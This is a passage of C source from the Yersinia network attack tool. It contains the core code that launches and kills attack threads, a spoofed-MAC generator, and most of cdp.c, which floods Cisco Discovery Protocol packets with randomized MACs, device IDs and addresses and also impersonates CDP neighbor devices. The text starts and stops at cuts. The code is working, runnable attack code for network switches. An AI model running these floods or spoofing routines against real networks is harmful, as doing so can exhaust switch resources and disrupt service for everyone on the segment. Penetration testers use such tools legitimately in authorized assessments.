= 0; node->protocol[proto].attacks[i].up = 0; return -1; } memcpy(node->protocol[proto].attacks[i].data, node->protocol[proto].tmp_data, protocols[proto].size ); if ( thread_create( &node->protocol[proto].attacks[i].attack_th, //&node->protocol[proto].attacks[i].attack_th.id, (*protocols[proto].attack_def_list[attack].attack_th_launch), &node->protocol[proto].attacks[i]) < 0) { free(node->protocol[proto].attacks[i].data); node->protocol[proto].attacks[i].params = NULL; node->protocol[proto].attacks[i].nparams = 0; node->protocol[proto].attacks[i].up = 0; return -1; } write_log(0, " attack_launch: %X Attack thread %X is born!!\n", (int)pthread_self(), (u_long) node->protocol[proto].attacks[i].attack_th.id); return 0; } i++; } /* while...*/ return -1; } /* * Kill attack thread pertaining to "node". * If "pid" == 0 then kill *ALL* node attack threads. * Return -1 on error. Return 0 if Ok. */ int8_t attack_kill_th( struct term_node *node, pthread_t pid ) { u_int16_t i, j; for( i=0; i < MAX_PROTOCOLS; i++ ) { if ( protocols[i].visible ) { for( j=0; j < MAX_THREAD_ATTACK; j++ ) { if ( node->protocol[i].attacks[j].up == 1 ) { if ( !pid || ( node->protocol[i].attacks[j].attack_th.id == pid ) ) { thread_destroy( &node->protocol[i].attacks[j].attack_th ); pthread_mutex_destroy( &node->protocol[i].attacks[j].attack_th.finished ); if ( pid ) return 0; } } } } } return 0; } /* Kill attack by index... */ int8_t attack_kill_index( struct term_node *node, uint8_t proto_arg, uint8_t attack_arg ) { if ( ( proto_arg < MAX_PROTOCOLS ) && ( attack_arg < MAX_THREAD_ATTACK ) ) { if ( node->protocol[ proto_arg ].attacks[ attack_arg ].up == 1 ) { thread_destroy( &node->protocol[ proto_arg ].attacks[ attack_arg ].attack_th ); pthread_mutex_destroy( &node->protocol[ proto_arg ].attacks[ attack_arg ].attack_th.finished ); return 1; } } return 0 ; } int8_t attack_th_exit(struct attacks *attacks) { write_log(0," attack_th_exit -> attack_th.stop=%d attack_th.id=%X....\n",attacks->attack_th.stop, attacks->attack_th.id); if (attacks->attack_th.stop == 0) attacks->attack_th.id = 0; else attacks->attack_th.stop = 0; if (attacks->helper_th.id) { write_log(0," attack_th_exit: %X thread_destroy helper %X...\n", (int)pthread_self(), (int)attacks->helper_th.id); thread_destroy(&attacks->helper_th); } pthread_mutex_destroy(&attacks->helper_th.finished); if (attacks->data) free(attacks->data); if (attacks->params) { attack_free_params(attacks->params, attacks->nparams); free(attacks->params); } attacks->data = NULL; attacks->params = NULL; attacks->up = 0; dlist_delete(attacks->used_ints->list); if (attacks->used_ints) free(attacks->used_ints); write_log(0, " attack_th_exit: %X finished\n", (int) pthread_self()); return 0; } /* * macof.c * gen_mac from Dug Song's macof-1.1 C port */ void attack_gen_mac(u_int8_t *mac) { *((in_addr_t *)mac) = libnet_get_prand(LIBNET_PRu32); *((u_int16_t *)(mac + 4)) = libnet_get_prand(LIBNET_PRu16); } int8_t attack_init_params(struct term_node *node, struct attack_param *param, u_int8_t nparams) { u_int8_t i, j, a; for (i=0; i < nparams; i++) { if ( (param[i].value = calloc(1, param[i].size) ) == NULL) { thread_error("attack_init_parameter calloc",errno); for (a=0; a<i; a++) free(param[a].value); return -1; } } if (node->type == TERM_CON) { for (j=0; j < nparams; j++) { if ( (param[j].print = calloc(1, param[j].size_print+1) ) == NULL) { thread_error("attack_init_parameter calloc",errno); for (a=0; a<j; a++) free(param[a].print); for (a=0; a<i; a++) free(param[a].value); return -1; } } } return 0; } void attack_free_params(struct attack_param *param, u_int8_t nparams) { u_int8_t i; for (i=0; i < nparams; i++) { if (param[i].value) { free(param[i].value); } if (param[i].print) { free(param[i].print); } } } /* * Filter all attack parameters * On success Return 0. * On error Return -1 and error field number on "field". */ int8_t attack_filter_all_params(struct attack_param *attack_param, u_int8_t nparams, u_int8_t *field) { u_int8_t j; for (j=0; j<nparams; j++) { if ( parser_filter_param(attack_param[j].type, attack_param[j].value, attack_param[j].print, attack_param[j].size_print, attack_param[j].size ) < 0 ) { *field = j; return -1; } } return 0; }
C/C++
yersinia/src/attack.h
/* attack.h * Definitions for attacks management core * * Yersinia * By David Barroso <[email protected]> and Alfredo Andres <[email protected]> * Copyright 2005-2017 Alfredo Andres and David Barroso * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #ifndef __ATTACK_H__ #define __ATTACK_H__ #include <libnet.h> #include <pcap.h> #include "thread-util.h" #include "interfaces.h" #include "terminal-defs.h" int8_t attack_launch(struct term_node *, u_int16_t, u_int16_t, struct attack_param *, u_int8_t ); int8_t attack_kill_th(struct term_node *, pthread_t ); int8_t attack_th_exit(struct attacks *); int8_t attack_init_params(struct term_node *, struct attack_param *, u_int8_t); void attack_free_params(struct attack_param *, u_int8_t); int8_t attack_filter_all_params(struct attack_param *, u_int8_t, u_int8_t *); void attack_gen_mac(u_int8_t *); int8_t attack_kill_index( struct term_node *, uint8_t, uint8_t ); extern int8_t thread_destroy(THREAD *); extern void write_log( u_int16_t mode, char *msg, ... ); extern int8_t parser_vrfy_mac( char *, u_int8_t *); extern int8_t parser_vrfy_bridge_id( char *, u_int8_t *); extern int8_t parser_get_inet_aton(char *, struct in_addr *); extern int8_t parser_filter_param(u_int8_t, void *, char *, u_int16_t, u_int16_t); #endif /* vim:set tabstop=4:set expandtab:set shiftwidth=4:set textwidth=120: */
C
yersinia/src/cdp.c
/* cdp.c * Implementation and attacks for Cisco Discovery Protocol * * Yersinia * By David Barroso <[email protected]> and Alfredo Andres <[email protected]> * Copyright 2005-2017 Alfredo Andres and David Barroso * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #ifdef HAVE_CONFIG_H #include <config.h> #endif #ifndef _REENTRANT #define _REENTRANT #endif #include <stdio.h> #include <errno.h> #ifdef HAVE_SYS_TYPES_H #include <sys/types.h> #endif #ifdef HAVE_INTTYPES_H #include <inttypes.h> #endif #include <sys/socket.h> #ifdef HAVE_NETINET_IN_SYSTM_H #include <netinet/in_systm.h> #else #ifdef HAVE_NETINET_IN_SYSTEM_H #include <netinet/in_system.h> #endif #endif #include <netinet/in.h> #include <arpa/inet.h> #include <signal.h> #include <time.h> #ifdef TIME_WITH_SYS_TIME #include <sys/time.h> #endif #ifdef HAVE_UNISTD_H #include <unistd.h> #endif #ifdef HAVE_STRING_H #include <string.h> #endif #ifdef HAVE_STRINGS_H #include <strings.h> #endif #ifdef HAVE_BSTRING_H #include <bstring.h> #endif #ifdef STDC_HEADERS #include <stdlib.h> #endif #ifdef HAVE_PTHREAD_H #include <pthread.h> #endif #include <stdarg.h> #include "cdp.h" /* Let's wait for libnet to fix the CDP code... * meanwhile we'll do it ala Dirty Harry way... */ void cdp_register(void) { protocol_register(PROTO_CDP, "CDP", "Cisco Discovery Protocol", "cdp", sizeof(struct cdp_data), cdp_init_attribs, NULL, cdp_get_printable_packet, cdp_get_printable_store, cdp_load_values, cdp_attack, cdp_update_field, cdp_features, cdp_comm_params, SIZE_ARRAY(cdp_comm_params), cdp_params_tlv, SIZE_ARRAY(cdp_params_tlv), cdp_get_extra_field, cdp_init_comms_struct, PROTO_VISIBLE, cdp_end); protocol_register_tlv(PROTO_CDP, cdp_edit_tlv, cdp_type_desc, cdp_tlv, SIZE_ARRAY(cdp_tlv)); } /* * Inicializa la estructura que se usa para relacionar el tmp_data * de cada nodo con los datos que se sacaran por pantalla cuando * se accede al demonio de red. * Teoricamente como esta funcion solo se llama desde term_add_node() * la cual, a su vez, solo es llamada al tener el mutex bloqueado por * lo que no veo necesario que sea reentrante. (Fredy). */ int8_t cdp_init_comms_struct(struct term_node *node) { struct cdp_data *cdp_data; void **comm_param; comm_param = (void *)calloc(1,sizeof(void *)*SIZE_ARRAY(cdp_comm_params)); if (comm_param == NULL) { thread_error("cdp_init_commands_struct calloc error",errno); return -1; } cdp_data = node->protocol[PROTO_CDP].tmp_data; node->protocol[PROTO_CDP].commands_param = comm_param; comm_param[CDP_SMAC] = &cdp_data->mac_source; comm_param[CDP_DMAC] = &cdp_data->mac_dest; comm_param[CDP_VER] = &cdp_data->version; comm_param[CDP_TTL] = &cdp_data->ttl; comm_param[CDP_CHECKSUM] = &cdp_data->checksum; return 0; } int8_t cdp_send( struct attacks *attacks ) { struct cdp_data *cdp_data = (struct cdp_data *)attacks->data; struct interface_data *iface_data; struct interface_data *iface_data2; int8_t c; u_int8_t oui[3], *fixpacket; u_int16_t checksum; int32_t total_length = 0 ; libnet_ptag_t t; libnet_t *lhandler; dlist_t *p; checksum = cdp_chksum((u_int8_t *)cdp_data + 12, 4 + cdp_data->options_len); fixpacket = calloc(1, 4 + cdp_data->options_len); memcpy((void *)fixpacket, &cdp_data->version, 1); memcpy((void *)fixpacket+1, &cdp_data->ttl, 1); memcpy((void *)fixpacket+2, &checksum, 2); memcpy((void *)fixpacket+4, cdp_data->options, cdp_data->options_len); total_length = 4 + cdp_data->options_len; for (p = attacks->used_ints->list; p; p = dlist_next(attacks->used_ints->list, p)) { iface_data = (struct interface_data *) dlist_data(p); lhandler = iface_data->libnet_handler; oui[0] = 0x00; oui[1] = 0x00; oui[2] = 0x0C; t = libnet_build_802_2snap( 0xaa, /* SNAP DSAP */ 0xaa, /* SNAP SSAP */ 0x03, /* control */ oui, /* oui */ 0x2000, /* ARP header follows */ fixpacket, /* payload */ total_length, /* payload size */ lhandler, /* libnet handle */ 0); /* libnet id */ t = libnet_build_802_3( cdp_data->mac_dest, /* ethernet destination */ (attacks->mac_spoofing) ? cdp_data->mac_source : iface_data->etheraddr, /* ethernet source */ /* LIBNET_CDP_H is 0x08 and the first tuple is included so it's better say 4 (ttl * + version + checksum) */ LIBNET_802_2SNAP_H + total_length, /* frame size */ NULL, /* payload */ 0, /* payload size */ lhandler, /* libnet handle */ 0); /* libnet id */ if (t == -1) { thread_libnet_error( "Can't build ethernet header", lhandler); libnet_clear_packet(lhandler); free( fixpacket ); return -1; } /* * Write it to the wire. */ c = libnet_write(lhandler); if (c == -1) { thread_libnet_error( "libnet_write error", lhandler); libnet_clear_packet(lhandler); free( fixpacket ); return -1; } libnet_clear_packet(lhandler); protocols[PROTO_CDP].packets_out++; iface_data2 = interfaces_get_struct(iface_data->ifname); iface_data2->packets_out[PROTO_CDP]++; } /* for INTERFACES*/ free( fixpacket ); return 0; } void cdp_th_send_raw(void *arg) { struct attacks *attacks = (struct attacks *)arg; sigset_t mask; pthread_mutex_lock(&attacks->attack_th.finished); pthread_detach(pthread_self()); sigfillset(&mask); if (pthread_sigmask(SIG_BLOCK, &mask, NULL)) { thread_error("cdp_th_send_raw pthread_sigmask()",errno); cdp_th_send_raw_exit(attacks); } cdp_send(attacks); cdp_th_send_raw_exit(attacks); } void cdp_th_send_raw_exit( struct attacks *attacks ) { attack_th_exit(attacks); pthread_mutex_unlock(&attacks->attack_th.finished); pthread_exit(NULL); } void cdp_th_flood(void *arg) { struct attacks *attacks = (struct attacks *)arg; struct cdp_data *cdp_data; u_int8_t device[8]; sigset_t mask; u_int32_t aux_long, lbl32; pthread_mutex_lock(&attacks->attack_th.finished); pthread_detach(pthread_self()); sigfillset(&mask); if (pthread_sigmask(SIG_BLOCK, &mask, NULL)) { thread_error("cdp_th_flood pthread_sigmask()",errno); cdp_th_flood_exit(attacks); } cdp_data = attacks->data; cdp_data->version = CDP_DFL_VERSION; parser_vrfy_mac("01:00:0C:CC:CC:CC", cdp_data->mac_dest); /* Max TTL */ cdp_data->ttl = 255; aux_long = CDP_CAP_LEVEL3_ROUTING; /* Create packet */ cdp_create_tlv_item(cdp_data, CDP_TYPE_DEVID, "yersinia"); lbl32 = libnet_get_prand(LIBNET_PRu32); cdp_create_tlv_item(cdp_data, CDP_TYPE_ADDRESS, (u_int32_t *)&lbl32); cdp_create_tlv_item(cdp_data, CDP_TYPE_PORTID, "Ethernet0"); cdp_create_tlv_item(cdp_data, CDP_TYPE_CAPABILITY, (u_int8_t *)&aux_long); cdp_create_tlv_item(cdp_data, CDP_TYPE_VERSION, VERSION); cdp_create_tlv_item(cdp_data, CDP_TYPE_PLATFORM, "yersinia"); while(!attacks->attack_th.stop) { /* Change MAC */ attack_gen_mac(cdp_data->mac_source); /* Change DEVICEID */ parser_get_random_string(device, 8); if (cdp_update_tlv_item(cdp_data, CDP_TYPE_DEVID, (void *)device) < 0) { write_log(0, "Error in cdp_update_tlv_item\n"); cdp_th_flood_exit(attacks); } /* Change Address */ lbl32 = libnet_get_prand(LIBNET_PRu32); if (cdp_update_tlv_item(cdp_data, CDP_TYPE_ADDRESS, (void *)&lbl32) < 0) { write_log(0, "Error in cdp_update_tlv_item\n"); cdp_th_flood_exit(attacks); } /* Change CAPABILITIES */ aux_long = parser_get_random_int(128); if (cdp_update_tlv_item(cdp_data, CDP_TYPE_CAPABILITY, (void *)&aux_long) < 0) { write_log(0, "Error in cdp_update_tlv_item\n"); cdp_th_flood_exit(attacks); } /* Send the packet */ cdp_send(attacks); #ifdef NEED_USLEEP thread_usleep(100000); #endif } cdp_th_flood_exit(attacks); } void cdp_th_flood_exit( struct attacks *attacks ) { attack_th_exit(attacks); pthread_mutex_unlock(&attacks->attack_th.finished); pthread_exit(NULL); } void cdp_th_virtual_device( void *arg ) { struct attacks *attacks = (struct attacks *)arg; sigset_t mask; pthread_mutex_lock(&attacks->attack_th.finished); pthread_detach(pthread_self()); sigfillset(&mask); if ( pthread_sigmask(SIG_BLOCK, &mask, NULL)) { thread_error("cdp_th_virtual_device pthread_sigmask()",errno); cdp_th_virtual_device_exit(attacks); } if ( ! thread_create( &attacks->helper_th, &cdp_send_hellos, attacks ) ) { while (!attacks->attack_th.stop) thread_usleep(200000); } else write_log( 0, "cdp_th_virtual_device thread_create error\n"); cdp_th_virtual_device_exit(attacks); } void cdp_th_virtual_device_exit(struct attacks *attacks) { attack_th_exit(attacks); pthread_mutex_unlock(&attacks->attack_th.finished); pthread_exit(NULL); } void cdp_send_hellos( void *arg ) { struct attacks *attacks = (struct attacks *)arg; struct cdp_data *cdp_data = (struct cdp_data *)attacks->data; struct timeval hello; u_int16_t secs = 0; int ret; pthread_mutex_lock(&attacks->helper_th.finished); pthread_detach(pthread_self()); hello.tv_sec = 0; hello.tv_usec = 0; write_log(0,"\n cdp_helper: %X started...\n",(int)pthread_self()); cdp_send(attacks); while ( !attacks->helper_th.stop ) { if ( (ret=select( 0, NULL, NULL, NULL, &hello ) ) == -1 ) { thread_error("Error in select", errno); break; } if ( !ret ) /* Timeout... */ { /* Default hello time is ttl / 3, min 5 secs */ if (secs == ((cdp_data->ttl / 3) > 5 ? (cdp_data->ttl / 3) : 5)) /* Send CDP hello...*/ { cdp_send(attacks); secs=0; } else secs++; } hello.tv_sec = 1; hello.tv_usec = 0; } write_log(0," cdp_helper: %X finished...\n",(int)pthread_self()); pthread_mutex_unlock(&attacks->helper_th.finished); pthread_exit(NULL); } int8_t cdp_create_tlv_item(struct cdp_data *cdp_data, u_int16_t type, void *value) { u_int16_t aux_short; u_int32_t aux_long; u_int8_t len; switch(type) { case CDP_TYPE_DEVID: case CDP_TYPE_PORTID: case CDP_TYPE_VERSION: case CDP_TYPE_PLATFORM: len = strlen(value) + 4; if (cdp_data->options_len + len < MAX_TLV*MAX_VALUE_LENGTH) { /* Type */ aux_short = htons(type); memcpy((void *)(cdp_data->options + cdp_data->options_len), (void *)&aux_short, 2); /* Length */ aux_short = htons(len); memcpy((void *)(cdp_data->options + cdp_data->options_len + 2), (void *)&aux_short, 2); /* Value */ memcpy((void *)(cdp_data->options + cdp_data->options_len + 4), (void *)value, len - 4); cdp_data->options_len += len; } else return -1; break; case CDP_TYPE_ADDRESS: len = 13 + 4; if (cdp_data->options_len + len < MAX_TLV*MAX_VALUE_LENGTH) { /* Type */ aux_short = htons(type); memcpy((void *)cdp_data->options + cdp_data->options_len, &aux_short, 2); /* Length */ aux_short = htons(len); memcpy((void *)cdp_data->options + cdp_data->options_len + 2, &aux_short, 2); /* Value */ /* Number of IP */ aux_long = htonl(0x00000001); memcpy((void *)cdp_data->options + cdp_data->options_len + 4, &aux_long, 4); /* Type */ memcpy((void *)cdp_data->options + cdp_data->options_len + 8, "\x01", 1); /* NLPID */ /* Length */ memcpy((void *)cdp_data->options + cdp_data->options_len + 9, "\x01", 1); /* Protocol */ memcpy((void *)cdp_data->options + cdp_data->options_len + 10, "\xcc", 1); /* IP */ /* Length */ aux_short = htons(0x0004); memcpy((void *)cdp_data->options + cdp_data->options_len + 11, &aux_short, 2); /* IP */ /* aux_long = ntohl(addr.s_addr);*/ memcpy((void *)cdp_data->options + cdp_data->options_len + 13, (void *)value, 4); cdp_data->options_len += len; } else return -1; break; case CDP_TYPE_CAPABILITY: len = 4 + 4; if (cdp_data->options_len + len < MAX_TLV*MAX_VALUE_LENGTH) { /* Type */ aux_short = htons(type); memcpy((void *)cdp_data->options + cdp_data->options_len, &aux_short, 2); /* Length */ aux_short = htons(len); memcpy((void *)cdp_data->options + cdp_data->options_len + 2, &aux_short, 2); /* Value */ aux_long = htonl((*(u_int32_t *)value)); memcpy((void *)cdp_data->options + cdp_data->options_len + 4, &aux_long, 4); cdp_data->options_len += len; } else return -1; break; default: len = strlen(value) + 4; if (cdp_data->options_len + len < MAX_TLV*MAX_VALUE_LENGTH) { /* Type */ aux_short = htons(type); memcpy((void *)(cdp_data->options + cdp_data->options_len), (void *)&aux_short, 2); /* Length */ aux_short = htons(len); memcpy((void *)(cdp_data->options + cdp_data->options_len + 2), (void *)&aux_short, 2); /* Value */ memcpy((void *)(cdp_data->options + cdp_data->options_len + 4), (void *)value, len - 4); cdp_data->options_len += len; } else return -1; break; } return 0; } int8_t cdp_update_tlv_item(struct cdp_data *cdp_data, u_int16_t type, char *value) { u_int8_t i, value_len, j; u_int16_t len, aux_short, offset; u_int32_t aux_long; int8_t gap; i = 0; offset = 0; /* Find the TLV */ while ((i < MAX_TLV) && (offset < cdp_data->options_len)) { if (ntohs((*(u_int16_t *)(cdp_data->options + offset + 2))) > cdp_data->options_len) { return -1; /* Oversized packet */ } len = ntohs((*(u_int16_t *)(cdp_data->options + offset + 2))); if (ntohs((*(u_int16_t *)(cdp_data->options + offset))) == type) { /* found */ switch(type) { case CDP_TYPE_DEVID: case CDP_TYPE_PORTID: case CDP_TYPE_VERSION: case CDP_TYPE_PLATFORM: value_len = strlen(value); if ((cdp_data->options_len + value_len - (len - 4)) > (MAX_TLV * MAX_VALUE_LENGTH)) { write_log(0, "Trying to create oversized options\n"); return -1; } gap = value_len - (len - 4); if (gap > 0) { /* Shift right */ for (j = cdp_data->options_len - 1; j >= offset + len; j--) cdp_data->options[j+gap] = cdp_data->options[j]; } else if (gap < 0) { /* Shift left */ for (j = offset + len; j < cdp_data->options_len; j++) cdp_data->options[j+gap] = cdp_data->options[j]; } /* Compute real size */ if (gap != 0) { aux_short = htons(len + gap); memcpy((void *)(cdp_data->options+offset+2), &aux_short, 2); cdp_data->options_len += gap; } memcpy((void *)(cdp_data->options+offset+4), value, value_len); return 0; break; case CDP_TYPE_CAPABILITY: aux_long = htonl((*(u_int32_t *)value)); memcpy((void *)(cdp_data->options+offset+4), &aux_long, 4); return 0; break; case CDP_TYPE_ADDRESS: memcpy((void *)cdp_data->options + offset + 13, (void *)value, 4); return 0; break; } } i++; offset += len; } return 0; } int8_t cdp_edit_tlv(struct term_node *node, u_int8_t action, u_int8_t pointer, u_int16_t type, u_int8_t *value) { u_int8_t i; u_int16_t len, offset; u_int16_t aux_short; u_int32_t aux_long; struct cdp_data *cdp_data; i = 0; offset = 0; cdp_data = (struct cdp_data *) node->protocol[PROTO_CDP].tmp_data; switch(action) { case TLV_DELETE: /* Find the TLV */ while ((i < MAX_TLV) && (offset < cdp_data->options_len)) { if (ntohs((*(u_int16_t *)(cdp_data->options + offset + 2))) > cdp_data->options_len) { return -1; /* Oversized packet */ } len = ntohs((*(u_int16_t *)(cdp_data->options + offset + 2))); if (i == pointer) { cdp_data->options_len -= len; memcpy((void *)(cdp_data->options + offset), (void *)(cdp_data->options + offset + len), cdp_data->options_len - offset); /* Space left in options should be zero */ memset((void *)(cdp_data->options + cdp_data->options_len), 0, MAX_TLV*MAX_VALUE_LENGTH - cdp_data->options_len); return 0; } i++; offset += len; } break; case TLV_ADD: switch(type) { case CDP_TYPE_DEVID: case CDP_TYPE_PORTID: case CDP_TYPE_VERSION: case CDP_TYPE_PLATFORM: len = strlen((char *)value) + 4; if (cdp_data->options_len + len < MAX_TLV*MAX_VALUE_LENGTH) { /* Type */ aux_short = htons(type); memcpy((void *)(cdp_data->options + cdp_data->options_len), (void *)&aux_short, 2); /* Length */ aux_short = htons(len); memcpy((void *)(cdp_data->options + cdp_data->options_len + 2), (void *)&aux_short, 2); /* Value */ memcpy((void *)(cdp_data->options + cdp_data->options_len + 4), (void *)value, len - 4); cdp_data->options_len += len; } else return -1; break; case CDP_TYPE_ADDRESS: len = 13 + 4; if (cdp_data->options_len + len < MAX_TLV*MAX_VALUE_LENGTH) { /* Type */ aux_short = htons(type); memcpy((void *)cdp_data->options + cdp_data->options_len, &aux_short, 2); /* Length */ aux_short = htons(len); memcpy((void *)cdp_data->options + cdp_data->options_len + 2, &aux_short, 2); /* Value */ /* Number of IP */ aux_long = htonl(0x00000001); memcpy((void *)cdp_data->options + cdp_data->options_len + 4, &aux_long, 4); /* Type */ memcpy((void *)cdp_data->options + cdp_data->options_len + 8, "\x01", 1); /* NLPID */ /* Length */ memcpy((void *)cdp_data->options + cdp_data->options_len + 9, "\x01", 1); /* Protocol */ memcpy((void *)cdp_data->options + cdp_data->options_len + 10, "\xcc", 1); /* IP */ /* Length */ aux_short = htons(0x0004); memcpy((void *)cdp_data->options + cdp_data->options_len + 11, &aux_short, 2); /* IP */ /* aux_long = ntohl(addr.s_addr);*/ memcpy((void *)cdp_data->options + cdp_data->options_len + 13, (void *)value, 4); cdp_data->options_len += len; } else return -1; break; case CDP_TYPE_CAPABILITY: len = 4 + 4; if (cdp_data->options_len + len < MAX_TLV*MAX_VALUE_LENGTH) { /* Type */ aux_short = htons(type); memcpy((void *)cdp_data->options + cdp_data->options_len, &aux_short, 2); /* Length */ aux_short = htons(len); memcpy((void *)cdp_data->options + cdp_data->options_len + 2, &aux_short, 2); /* Value */ aux_long = htonl((*(u_int32_t *)value)); memcpy((void *)cdp_data->options + cdp_data->options_len + 4, &aux_long, 4); cdp_data->options_len += len; } else return -1; break; } break; } return -1; } /* * Return formated strings of each CDP field */ char **cdp_get_printable_packet( struct pcap_data *data ) { struct libnet_802_3_hdr *ether; u_char *cdp_data, *ptr; char *buf_ptr; u_int8_t i, k; #ifdef LBL_ALIGN u_int16_t aux_short; #endif char **field_values; char *buffer; u_int16_t type, len; u_int32_t total_len; buffer = (char *)calloc( 1, 4096 ); if ( ! buffer ) { write_log(0, "Error in calloc\n"); return NULL; } field_values = (char **)protocol_create_printable( protocols[PROTO_CDP].nparams, protocols[PROTO_CDP].parameters ); if ( ! field_values ) { write_log(0, "Error in calloc\n"); free( buffer ); return NULL; } ether = (struct libnet_802_3_hdr *) data->packet; cdp_data = (u_char *) (data->packet + LIBNET_802_3_H + LIBNET_802_2SNAP_H); /* Source MAC */ snprintf(field_values[CDP_SMAC], 18, "%02X:%02X:%02X:%02X:%02X:%02X", ether->_802_3_shost[0], ether->_802_3_shost[1], ether->_802_3_shost[2], ether->_802_3_shost[3], ether->_802_3_shost[4], ether->_802_3_shost[5]); /* Destination MAC */ snprintf(field_values[CDP_DMAC], 18, "%02X:%02X:%02X:%02X:%02X:%02X", ether->_802_3_dhost[0], ether->_802_3_dhost[1], ether->_802_3_dhost[2], ether->_802_3_dhost[3], ether->_802_3_dhost[4], ether->_802_3_dhost[5]); /* Version */ snprintf(field_values[CDP_VER], 3, "%02X", *((u_char *)cdp_data)); /* TTL */ snprintf(field_values[CDP_TTL], 3, "%02X", *((u_char *)cdp_data+1)); /* Checksum */ #ifdef LBL_ALIGN memcpy((void *)&aux_short,cdp_data+2,2); snprintf(field_values[CDP_CHECKSUM], 5, "%04X", ntohs(aux_short)); #else snprintf(field_values[CDP_CHECKSUM], 5, "%04X", ntohs(*(u_int16_t *)(cdp_data+2))); #endif ptr = cdp_data + 4; buf_ptr = buffer; i = 0; total_len = 0; /* now the tlv section starts */ while((ptr < data->packet + data->header->caplen) && (i < MAX_TLV)) { if ((ptr+4) > ( data->packet + data->header->caplen)) /* Undersized packet !! */ break; #ifdef LBL_ALIGN memcpy((void *)&aux_short,ptr,2); type = ntohs(aux_short); memcpy((void*)&aux_short,(ptr+2),2); len = ntohs(aux_short); #else type = ntohs(*(u_int16_t *)ptr); len = ntohs(*(u_int16_t *)(ptr + 2)); #endif if ((ptr + len) > data->packet + data->header->caplen) { free( buffer ); free( field_values ) ; return NULL; /* Oversized packet!! */ } if (!len) break; /* TLV len must be at least 5 bytes (header + data). * Anyway i think we can give a chance to the rest * of TLVs... ;) */ if (len >= 4) { /* First we get the type */ k = 0; while(cdp_type_desc[k].desc) { if (cdp_type_desc[k].type == type) { strncpy(buf_ptr, cdp_type_desc[k].desc, strlen((char *)cdp_type_desc[k].desc)); buf_ptr += strlen((char *)cdp_type_desc[k].desc) + 1; total_len += strlen((char *)cdp_type_desc[k].desc) + 1; /* Now copy the value */ switch(type) { case CDP_TYPE_DEVID: case CDP_TYPE_PORTID: case CDP_TYPE_VERSION: case CDP_TYPE_PLATFORM: case CDP_TYPE_VTP_MGMT_DOMAIN: case CDP_TYPE_SYSTEM_NAME: case CDP_TYPE_LOCATION: if ((len-4) < MAX_VALUE_LENGTH) { memcpy(buf_ptr, ptr+4, len-4); buf_ptr += len - 4 + 1; total_len += len - 4 + 1; } else { memcpy(buf_ptr, ptr+4, MAX_VALUE_LENGTH); buf_ptr += MAX_VALUE_LENGTH + 1; total_len += MAX_VALUE_LENGTH + 1; /* tlv[i][MAX_VALUE_LENGTH-2] = '|'; tlv[i].value[MAX_VALUE_LENGTH-1] = '\0';*/ } break; case CDP_TYPE_ADDRESS: case CDP_TYPE_MANAGEMENT_ADDR: /* Only get the 1st IP address */ if ((*(ptr+8) == 0x01) && (*(ptr+9) == 0x01) && (*(ptr+10) == 0xcc)) { parser_get_formated_inet_address(ntohl((*(u_int32_t *)(ptr + 13))), buf_ptr, 16); buf_ptr += 16; total_len += 16; } else { *buf_ptr = '\0'; buf_ptr++; total_len++; } break; case CDP_TYPE_CAPABILITY: /* 4 byte field */ if (len == 8) { snprintf(buf_ptr, 9, "%02X%02X%02X%02X", *(ptr+4), *(ptr+5), *(ptr+6), *(ptr+7)); /* cdp->tlv[i].value[8] = '\0';*/ buf_ptr += 9; total_len += 9; } break; /* case CDP_TYPE_IPPREFIX: case CDP_TYPE_PROTOCOL_HELLO:*/ case CDP_TYPE_NATIVE_VLAN: snprintf(buf_ptr, 5, "%04X", ntohs(*((u_int16_t *)(ptr+4)))); buf_ptr += 5; total_len += 5; break; case CDP_TYPE_DUPLEX: case CDP_TYPE_TRUST_BITMAP: case CDP_TYPE_UNTRUSTED_COS: snprintf(buf_ptr, 3, "%02X", *((u_int8_t *)(ptr+4))); buf_ptr += 3; total_len += 3; break; /* case CDP_TYPE_VOIP_VLAN_REPLY: case CDP_TYPE_VOIP_VLAN_QUERY: case CDP_TYPE_MTU: case CDP_TYPE_SYSTEM_OID:*/ default: *buf_ptr = '\0'; buf_ptr++; total_len++; break; } } k++; } } i++; ptr += len; } if ( total_len > 0 ) { field_values[CDP_TLV] = (char *)calloc(1, total_len); if ( field_values[CDP_TLV] ) memcpy((void *)field_values[CDP_TLV], (void *)buffer, total_len); else write_log(0, "error in calloc\n"); } free( buffer ); return field_values; } char **cdp_get_printable_store( struct term_node *node ) { struct cdp_data *cdp; struct commands_param_extra_item *item; dlist_t *p; #ifdef LBL_ALIGN u_int16_t aux_short; #endif u_int8_t *ptr, i; char **field_values; char *buffer, *buf_ptr; u_int16_t total; /* smac + dmac + version + ttl + checksum + tlv + null = 7 */ field_values = (char **)protocol_create_printable( protocols[PROTO_CDP].nparams, protocols[PROTO_CDP].parameters ); if ( ! field_values ) { write_log( 0, "Error in calloc\n" ); return NULL; } buffer = (char *)calloc( 1, 4096 ); if ( ! buffer ) { write_log( 0, "Error in calloc\n" ); free( field_values ); return NULL; } if (node == NULL) cdp = protocols[PROTO_CDP].default_values; else cdp = (struct cdp_data *) node->protocol[PROTO_CDP].tmp_data; snprintf( field_values[CDP_SMAC], 18, "%02X:%02X:%02X:%02X:%02X:%02X", cdp->mac_source[0], cdp->mac_source[1], cdp->mac_source[2], cdp->mac_source[3], cdp->mac_source[4], cdp->mac_source[5] ); snprintf( field_values[CDP_DMAC], 18, "%02X:%02X:%02X:%02X:%02X:%02X", cdp->mac_dest[0], cdp->mac_dest[1], cdp->mac_dest[2], cdp->mac_dest[3], cdp->mac_dest[4], cdp->mac_dest[5] ); snprintf( field_values[CDP_VER], 3, "%02X", cdp->version ); snprintf( field_values[CDP_TTL], 3, "%02X", cdp->ttl ); #ifdef 